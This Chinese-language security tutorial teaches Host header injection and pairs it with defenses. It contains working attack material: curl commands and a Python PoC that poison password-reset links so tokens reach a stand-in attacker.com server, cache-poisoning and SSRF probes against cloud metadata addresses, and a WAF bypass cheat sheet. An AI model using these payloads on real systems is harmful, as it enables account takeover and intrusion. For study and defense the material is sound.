PingSec 安全日报

root@pingsec:~$
🟡 渗透测试渗透测试Host HeaderWeb安全实战教程

【教程】Host Header Injection主机头注入从缓存投毒到Account Takeover完整攻防实战

📅 2026年6月24日 📁 Hermes Agent ⏱ 9 分钟

适合人群:Web安全入门到中级、渗透测试工程师、Bug Bounty Hunter

前置知识:HTTP协议基础、Burp Suite基本使用、简单的Web应用原理

一、前置准备

1.1 环境搭建


# 使用 Docker 搭建本地靶场
docker run -d -p 8080:80 --name host-header-lab vulnerables/web-goat
# 或使用现成的 host-header 靶场
git clone https://github.com/we45/Host-Header-Injection-Lab.git
cd Host-Header-Injection-Lab && docker-compose up -d

1.2 工具清单

工具用途安装方式
Burp Suite拦截修改Host头官网下载
curl命令行测试Host头apt install curl
Python requests自动化测试脚本pip install requests
wfuzzHost头模糊测试pip install wfuzz
Nitko自动扫描已知漏洞apt install nikto

二、核心原理

2.1 什么是Host Header?

Host头是 HTTP/1.1 的必选头域,用于指定请求目标的主机和端口号:


GET / HTTP/1.1
Host: target.com

当一台服务器上托管多个虚拟主机(Virtual Hosting)时,后端应用依赖 Host 头来路由请求到正确的虚拟站点。问题就出在这里——如果服务器直接使用 Host 头中的值来生成密码重置链接、缓存键、重定向URL,攻击者就可以通过篡改Host头实现多种攻击。

2.2 漏洞成因


用户请求 → Host: evil.com → 后端读取 Host 头 → 生成链接 http://evil.com/reset/abc123
                                                        ↓
                                             攻击者收到密码重置链接 → 劫持账号

三个核心条件同时满足才会存在漏洞:

  1. Web服务器配置不当:没有限制合法的 Host 头值
  2. 后端代码信任 Host 头:直接使用 $_SERVER['HTTP_HOST']request.headers['Host']
  3. Host 头值出现在响应或功能逻辑中:如重定向URL、链接生成、缓存键

2.3 常见脆弱场景


# ❌ 脆弱代码示例(Python Flask)
@app.route('/reset-password')
def reset_password():
    token = generate_token()
    # 直接使用 Host 头生成重置链接 — 高危!
    reset_link = f"http://{request.headers['Host']}/reset/{token}"
    send_email(reset_link, user.email)
    return "密码重置邮件已发送"

# ✅ 安全修复:使用固定的 base URL
BASE_URL = "https://target.com"
reset_link = f"{BASE_URL}/reset/{token}"

// ❌ 脆弱代码示例(PHP)
$host = $_SERVER['HTTP_HOST'];
$reset_link = "http://" . $host . "/reset.php?token=" . $token;
mail($user_email, "密码重置", "点击链接: " . $reset_link);

// ✅ 安全修复
$allowed_hosts = ['target.com', 'www.target.com'];
if (!in_array($host, $allowed_hosts)) {
    die("Invalid Host header");
}

三、实操步骤:6种攻击手法

3.1 基础Host头注入

最简单的测试方法:用 curl 或 Burp Suite 修改 Host 头。


# 基础测试:修改Host头
curl -s -H "Host: evil.com" https://target.com/ -I

# 查看响应头中是否有反射
curl -s -H "Host: evil.com" https://target.com/ | grep -i "evil.com"

# 测试绝对路径重定向(Location头是否使用Host)
curl -s -H "Host: evil.com" http://target.com/login.php | head -20

# Burp Suite Repeater 中的请求
GET / HTTP/1.1
Host: evil.com
Connection: close

# 如果响应中出现以下内容,说明存在漏洞:
# <form action="http://evil.com/login" method="POST">
# Location: http://evil.com/dashboard

预期结果:如果响应中包含 evil.com 的引用(如表单action、重定向、资源链接),则确认存在Host头注入。

3.2 密码重置投毒(最危险)

这是Host头注入中危害最大的攻击方式——直接导致Account Takeover。


# 步骤1:构造恶意密码重置请求
curl -X POST \
  https://target.com/forgot-password \
  -H "Host: attacker.com" \
  -d "email=victim@example.com"

# 步骤2:监听攻击者服务器上的请求
# 在 attacker.com 上启动简易服务器
python3 -m http.server 80

# 受害者会收到一封包含链接的邮件:
# 点击 http://attacker.com/reset/TOKEN_HERE
# 攻击者访问日志即可获得TOKEN

自动化PoC脚本:


#!/usr/bin/env python3
"""
Host Header Injection - Password Reset Poisoning PoC
用法: python3 host_poison.py -t https://target.com -e victim@example.com -H attacker.com
"""
import requests
import argparse
import sys

def test_password_poison(target, email, host):
    headers = {
        "Host": host,
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = {"email": email}

    print(f"[*] 目标: {target}")
    print(f"[*] 伪造Host: {host}")
    print(f"[*] 受害者: {email}")

    try:
        r = requests.post(f"{target}/forgot-password",
                         headers=headers, data=data, timeout=10, allow_redirects=False)

        print(f"[*] 响应码: {r.status_code}")

        # 检查响应中是否包含我们的Host
        if host in r.text or host in str(r.headers):
            print(f"[⚠️] 漏洞确认!Host '{host}' 出现在响应中!")

            # 检查Location头
            if 'Location' in r.headers:
                print(f"[!] Location头: {r.headers['Location']}")

            # 提取链接
            import re
            links = re.findall(r'https?://[^\s"\'<>]+', r.text)
            for link in links:
                if host in link:
                    print(f"[🔥] 发现恶意链接: {link}")
        else:
            print("[-] 未直接在响应中发现Host反射")
            print("[*] 建议检查邮件内容(如果可查看邮件服务)")

    except Exception as e:
        print(f"[ERROR] {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Host Header Password Reset Poisoning")
    parser.add_argument("-t", "--target", required=True, help="目标URL")
    parser.add_argument("-e", "--email", required=True, help="受害者邮箱")
    parser.add_argument("-H", "--host", default="attacker.com", help="伪造Host")
    args = parser.parse_args()
    test_password_poison(args.target, args.email, args.host)

3.3 Web缓存投毒(Cache Poisoning)

当CDN或反向代理(如Varnish、Squid、Cloudflare)使用Host头作为缓存键的一部分时,投毒Host头可以污染缓存的响应,让后续所有用户都收到恶意内容。


# 步骤1:找到使用Host头作为缓存键的端点
curl -s -H "Host: evil.com" https://target.com/static/settings.js

# 步骤2:检查响应头中的缓存信息
curl -sI https://target.com/static/settings.js | grep -i "x-cache\|cf-cache\|age:"

# 步骤3:发送投毒请求(包含X-Forwarded-Host)
curl -s -H "Host: target.com" -H "X-Forwarded-Host: evil.com" \
  https://target.com/static/resource.js

# 缓存投毒请求
GET /static/api.js HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

# 如果缓存服务器使用 X-Forwarded-Host 重写资源URL,
# 则所有用户访问此资源时都会加载恶意JS

Web缓存投毒完整检测脚本:


#!/usr/bin/env python3
"""
Cache Poisoning via Host Header - Detection Tool
"""
import requests
import sys

def detect_cache_poisoning(url):
    headers_payloads = [
        {"Host": "evil.com"},
        {"Host": "target.com", "X-Forwarded-Host": "evil.com"},
        {"Host": "target.com", "X-Forwarded-For": "evil.com"},
        {"Host": "target.com", "X-Real-IP": "evil.com"},
        {"X-Forwarded-Host": "evil.com"},
    ]

    for i, headers in enumerate(headers_payloads):
        try:
            r = requests.get(url, headers=headers, timeout=10)
            for key, val in headers.items():
                if val in r.text or val in str(r.headers):
                    print(f"[!] Payload #{i+1}: {key}: {val}")
                    print(f"    反射位置: {'响应体' if val in r.text else '响应头'}")
                    print(f"    URL: {r.url}")
                    print()
                    break
        except Exception as e:
            print(f"[-] #{i+1} 失败: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <目标URL>")
        sys.exit(1)
    detect_cache_poisoning(sys.argv[1])

3.4 绝对路径重定向劫持

许多Web应用在登录、登出、支付回调等场景中,会基于Host头拼接绝对路径URL进行重定向。


# 测试重定向Endpoint
curl -sI -H "Host: evil.com" https://target.com/logout
curl -sI -H "Host: evil.com" https://target.com/login?redirect=/
curl -sI -H "Host: evil.com" https://target.com/pay/confirm

# 查看30x跳转的Location头
curl -sI -H "Host: evil.com" https://target.com/sso/callback | grep -i location

# 脆弱的重定向响应示例
HTTP/1.1 302 Found
Location: http://evil.com/dashboard   # ← 被篡改!
Set-Cookie: session=abc123; path=/

3.5 SSRF 辅助利用

当后端使用Host头拼接内部API请求时,Host头注入可变为SSRF:


# 场景:后端从 Host 头提取域名并拼接内部API
internal_api = f"http://{host}/api/v1/users"  # host 来自 Host 头
# 修改 Host: 127.0.0.1:8080/admin → 导致SSRF到内网

# SSRF探测
curl -s -H "Host: 127.0.0.1" https://target.com/api/proxy
curl -s -H "Host: 127.0.0.1:8080" https://target.com/api/proxy
curl -s -H "Host: 192.168.1.1" https://target.com/api/proxy

# 尝试内网服务
curl -s -H "Host: metadata.google.internal" https://target.com/
curl -s -H "Host: 169.254.169.254" https://target.com/  # AWS/GCP metadata

3.6 绕过认证(Authentication Bypass)

某些内部应用只检查Host头是否包含特定的内部域名,完全不检查实际URL:


# 绕过认证:使用内部域名作为Host头
curl -s -H "Host: admin.internal.target.com" https://target.com/admin
curl -s -H "Host: localhost" https://target.com/debug
curl -s -H "Host: 127.0.0.1" https://target.com/status

四、绕过技术

4.1 添加多个Host头(Duplicate Host)

某些代理/后端处理第一个和最后一个Host头的方式不同(HTTP请求走私的变体):


# 技术1:多个Host头(后端可能使用最后一个)
curl -s -H "Host: target.com" -H "Host: evil.com" https://target.com/

# 技术2:使用绝对URI(RFC规范:绝对URI的权威性高于Host头)
curl -s --request-target http://evil.com/api https://target.com/api

# 技术3:Host头末尾加空格/特殊字符
curl -s -H "Host: target.com%20evil.com" https://target.com/
curl -s -H "Host: target.com;evil.com" https://target.com/

# 请求行使用绝对URI(RFC 7230 允许)
GET http://evil.com/admin HTTP/1.1
Host: target.com

4.2 X-Forwarded-* 头利用

后端如果优先读取 X-Forwarded-HostX-Forwarded-For 而非直接读 Host


# X-Forwarded-Host 覆盖
curl -s -H "X-Forwarded-Host: evil.com" https://target.com/reset

# X-Forwarded-For + Host 组合
curl -s -H "X-Forwarded-For: 127.0.0.1" -H "X-Forwarded-Host: evil.com" \
  https://target.com/admin

# 转发头优先级测试
for header in "X-Forwarded-Host" "X-Host" "X-Forwarded-Server" "Forwarded"; do
  echo "[*] Testing $header"
  curl -s -H "$header: evil.com" https://target.com/login | grep -i "evil" && echo "  → $header works!"
done

4.3 Port Manipulation


# 在Host头中修改端口
curl -s -H "Host: target.com:12345" https://target.com/login
curl -s -H "Host: evil.com:443" https://target.com/redirect

# 空端口
curl -s -H "Host: target.com:" https://target.com/

4.4 编码绕过(WAF绕过)


# URL编码
curl -s -H "Host: target.com%2F%40evil.com" https://target.com/

# Unicode 编码(部分语言的处理差异)
curl -s -H "Host: target.com@evil.com" https://target.com/

# 换行/制表符注入
curl -s -H $'Host: target.com\tevil.com' https://target.com/

4.5 WAF指纹 + 绕过策略速查表

WAF产品绕过方式Payload示例
CloudflareX-Forwarded-Host替代HostX-Forwarded-Host: evil.com
CloudflareX-HostX-Host: evil.com
AWS WAF添加重复Host头两个Host头,第二个为恶意值
F5 BIG-IP使用绝对URI(空格编码)GET%20http://evil.com/ HTTP/1.1
ModSecurityTab字符分隔Host值Host: target.com%09evil.com
AkamaiForwarded: host=evil.comForwarded: host=evil.com; proto=https
Imperva多值Host(逗号分隔)Host: target.com,evil.com

五、完整检测工具链

5.1 自动化扫描器


# 使用 wfuzz 进行批量Host头测试
wfuzz -H "Host: FUZZ" -z list,evil.com-attacker.com-127.0.0.1-localhost \
  https://target.com/login.php

# 使用 nikto 的 host头探测
nikto -h https://target.com -Plugins hostheader

# 自定义词表模糊测试
cat host_payloads.txt
evil.com
attacker.com
127.0.0.1
localhost
192.168.1.1
10.0.0.1
target.com:80
target.com:443
target.com%20evil.com

wfuzz -H "Host: FUZZ" -z file,host_payloads.txt \
  -hc 400,403,404 https://target.com/

5.2 全自动检测脚本


#!/usr/bin/env python3
"""
Host Header Injection - Full automated detection suite
Usage: python3 host_header_scanner.py https://target.com
"""
import requests
import sys
import re
from urllib.parse import urlparse

class HostHeaderScanner:
    def __init__(self, target):
        self.target = target.rstrip('/')
        self.parsed = urlparse(self.target)
        self.original_host = self.parsed.netloc
        self.results = []

    def test_payload(self, headers, test_name):
        """发送测试请求并检查响应"""
        try:
            r = requests.get(self.target, headers=headers,
                           timeout=15, verify=False, allow_redirects=False)

            # 检查反射
            reflected = False
            for key, val in headers.items():
                if val in r.text:
                    reflected = True
                    print(f"  [⚠️] {test_name}: Host '{val}' 反射到响应体!")
                    # 提取反射上下文
                    context = self._extract_context(r.text, val)
                    print(f"        上下文: {context}")

            # 检查Location头
            if 'Location' in r.headers:
                for key, val in headers.items():
                    if val in r.headers['Location']:
                        print(f"  [🔥] {test_name}: Host '{val}' 出现在Location头!")
                        print(f"        Location: {r.headers['Location']}")
                        reflected = True

            if not reflected:
                print(f"  [.] {test_name}: 未检测到Host反射 (HTTP {r.status_code})")

        except Exception as e:
            print(f"  [ERROR] {test_name}: {e}")

    def _extract_context(self, text, val, window=60):
        """提取值在文本中出现的上下文"""
        idx = text.find(val)
        if idx == -1:
            return ""
        start = max(0, idx - window)
        end = min(len(text), idx + len(val) + window)
        ctx = text[start:end].replace('\n', ' ').replace('\r', '')
        return f"...{ctx}..."

    def run(self):
        print(f"[*] Host Header Injection Scanner")
        print(f"[*] Target: {self.target}")
        print(f"[*] Original Host: {self.original_host}")
        print()

        # Test 1: Basic Host override
        print("[1/10] 基础Host头替换")
        self.test_payload({"Host": "evil.com"}, "基础替换")

        # Test 2: X-Forwarded-Host
        print("\n[2/10] X-Forwarded-Host")
        self.test_payload({"X-Forwarded-Host": "evil.com"}, "XFH")

        # Test 3: Both
        print("\n[3/10] Host + X-Forwarded-Host 组合")
        self.test_payload({"Host": self.original_host, "X-Forwarded-Host": "evil.com"}, "Host+XFH")

        # Test 4: Duplicate Host
        print("\n[4/10] 双Host头")
        self.test_payload([
            ("Host", self.original_host),
            ("Host", "evil.com")
        ], "双Host")

        # Test 5: X-Host (非标准但常用)
        print("\n[5/10] X-Host")
        self.test_payload({"X-Host": "evil.com"}, "X-Host")

        # Test 6: Forwarded (RFC 7239)
        print("\n[6/10] Forwarded")
        self.test_payload({"Forwarded": "host=evil.com"}, "Forwarded")

        # Test 7: Absolute URI in request line
        print("\n[7/10] 绝对URI请求行")
        try:
            import socket
            s = socket.socket()
            s.settimeout(10)
            host = self.parsed.netloc.split(':')[0]
            port = self.parsed.port or (443 if self.parsed.scheme == 'https' else 80)
            s.connect((host, port))

            if self.parsed.scheme == 'https':
                import ssl
                s = ssl.wrap_socket(s)

            req = f"GET http://evil.com/ HTTP/1.1\r\nHost: {self.original_host}\r\nConnection: close\r\n\r\n"
            s.send(req.encode())
            resp = s.recv(4096).decode('utf-8', errors='replace')
            if 'evil.com' in resp:
                print(f"  [⚠️] 绝对URI测试: 'evil.com' 出现在响应中!")
            s.close()
        except Exception as e:
            print(f"  [ERROR] {e}")

        # Test 8: Internal IPs
        print("\n[8/10] 内网/本地Host")
        for ip in ["127.0.0.1", "localhost", "169.254.169.254"]:
            self.test_payload({"Host": ip}, f"Host: {ip}")

        # Test 9: Port injection
        print("\n[9/10] 端口注入")
        self.test_payload({"Host": f"{self.original_host}:12345"}, "端口注入")

        # Test 10: Tab injection
        print("\n[10/10] Tab制表符注入")
        self.test_payload({"Host": f"{self.original_host}\tevil.com"}, "Tab注入")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <目标URL>")
        sys.exit(1)
    requests.packages.urllib3.disable_warnings()
    scanner = HostHeaderScanner(sys.argv[1])
    scanner.run()

六、实战案例复盘

案例1:密码重置投毒 → 全站账户接管(某电商平台)

发现过程:

  1. 测试 /forgot-password 接口时发现响应中有 "reset_link": "http://target.com/reset/TOKEN" 的JSON字段
  2. 将Host头改为 evil.com 后,响应变为 "reset_link": "http://evil.com/reset/TOKEN"
  3. 注册域名 evil.com,设置通配DNS和HTTP服务
  4. 构造恶意密码重置请求给目标用户
  5. 用户收到邮件点击链接 → 攻击者服务器收到带TOKEN的请求
  6. 使用TOKEN直接重置用户密码 → 完成账户接管

修复方案:


# 后端白名单
ALLOWED_HOSTS = ['target.com', 'www.target.com', 'api.target.com']

def get_safe_host():
    host = request.headers.get('Host', '')
    if host not in ALLOWED_HOSTS:
        return 'target.com'  # 默认值
    return host

案例2:内部应用 Host 头绕过(某云服务平台)

发现过程:

  1. 目标为 admin.cloud-service.com,但公网返回403
  2. 修改 Host 头为 127.0.0.1 后,返回200并暴露了 /internal/status 端点
  3. 进一步扫描发现 /internal/db-admin 面板暴露
  4. 通过内部面板获取了数据库连接字符串

教训: 内部应用只通过 Host 头识别"内部请求",没有真正的IP校验。

七、防御建议

7.1 开发者防御清单


# 1. 白名单验证(最可靠)
ALLOWED_HOSTS = ['example.com', 'www.example.com']
def get_host():
    host = request.headers.get('Host', '')
    if host not in ALLOWED_HOSTS:
        raise ValueError(f"Invalid Host: {host}")
    return host

# 2. 使用固定BASE_URL(生成链接时)
BASE_URL = "https://example.com"
reset_url = f"{BASE_URL}/reset/{token}"  # 绝不拼接Host头

# 3. Nginx 层限制(推荐)
# 在 server 块中添加
if ($host !~ ^(example\.com|www\.example\.com)$) {
    return 444;
}

# 4. Apache 限制
# RewriteEngine On
# RewriteCond %{HTTP_HOST} !^example\.com$ [NC]
# RewriteRule ^ - [F]

7.2 Nginx安全配置模板


# /etc/nginx/sites-available/target.com
server {
    listen 443 ssl http2;
    server_name target.com www.target.com;

    # 拒绝非白名单Host的请求
    if ($host !~ ^(target\.com|www\.target\.com)$) {
        return 444;
    }

    # 禁止绝对URI请求行
    if ($request_uri ~* ^http://) {
        return 400;
    }

    # 限流:防止密码重置攻击
    limit_req zone=reset burst=5 nodelay;

    location / {
        proxy_pass http://backend;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-Host $host;
    }
}

7.3 WAF规则(ModSecurity)


# 检测Host头篡改
SecRule REQUEST_HEADERS:Host "!^target\.com$" \
    "phase:1,deny,status:403,id:10001,msg:'Invalid Host Header'"

# 检测X-Forwarded-Host覆盖
SecRule REQUEST_HEADERS:X-Forwarded-Host "@rx evil|attacker|hacker" \
    "phase:1,deny,status:403,id:10002,msg:'X-Forwarded-Host injection blocked'"

# 检测重复Host头
SecRule &REQUEST_HEADERS:Host "@gt 1" \
    "phase:1,deny,status:403,id:10003,msg:'Multiple Host headers detected'"

八、常见陷阱

❌ 陷阱1:只测试了首页

大多数首页不依赖Host头生成内容。必测Endpoint:

  • /forgot-password/reset-password
  • /login/sso/callback
  • /logout(检查Location头)
  • /api/*(特别是返回JSON的API)
  • /payment/confirm/order/callback

❌ 陷阱2:忽略非标准转发头

后端可能读 X-Forwarded-HostX-HostX-Real-IP 而不是 Host必须全测。

❌ 陷阱3:忘了检查邮件

密码重置投毒可能在响应中不反射,但邮件中拼接了恶意链接。如果有办法查看发送的邮件(如Mailhog、Mailtrap),一定要检查邮件内容

❌ 陷阱4:HTTP/2 中的差异

HTTP/2 使用 :authority 伪头替代 Host 头。测试HTTP/2端点时要用 :authority


# HTTP/2 测试(需要curl支持HTTP/2)
curl --http2 -H ":authority: evil.com" https://target.com/

❌ 陷阱5:只测了GET请求

POST、PUT、DELETE请求中Host头同样可能被利用。所有HTTP方法都测。

九、总结 & 速查表

漏洞检测流程


1. 收集所有Endpoint(密码重置/登录/SSO/OAuth回调/支付确认)
2. 修改Host头为 evil.com,检查响应体和Location头
3. 如果无反射,测试 X-Forwarded-Host / X-Host / Forwarded
4. 如果仍然无反射,测试 POST 请求(密码重置等)
5. 检查是否有缓存投毒可能:查看缓存头
6. 测试绝对URI请求行(RFC 7230)
7. 验证可访问性:恶意链接是否真的可以访问

Payload速查表

攻击类型Payload检测方法
基础注入Host: evil.com看响应/邮件是否出现 evil.com
XFH覆盖X-Forwarded-Host: evil.com同上
双Host头两个 Host:后端处理差异
绝对URIGET http://evil.com/ HTTP/1.1绕过部分代理
Tab注入Host: target.com%09evil.comWAF/ModSecurity绕过
端口注入Host: target.com:12345绕过部分Host检查
内网SSRFHost: 169.254.169.254访问云metadata
ForwardedForwarded: host=evil.comRFC 7239标准

严重等级评估

利用场景严重程度CVSS评分类比
密码重置投毒 → ATO🔴 严重8.0-9.1
Web缓存投毒🔴 高危7.0-8.0
SSRF辅助🟡 中高危6.0-7.5
开放重定向🟡 中危4.0-6.0
认证绕过(内部域名)🔴 高危7.5-9.0
仅反射在响应体🟢 低危3.0-5.0

一句话总结:任何将Host头值用于URL拼接、身份判断或缓存键的Web应用都存在Host Header Injection漏洞。修复的黄金法则是白名单验证 + 固定BASE_URL,绝不直接信任客户端传来的Host头。

← 返回首页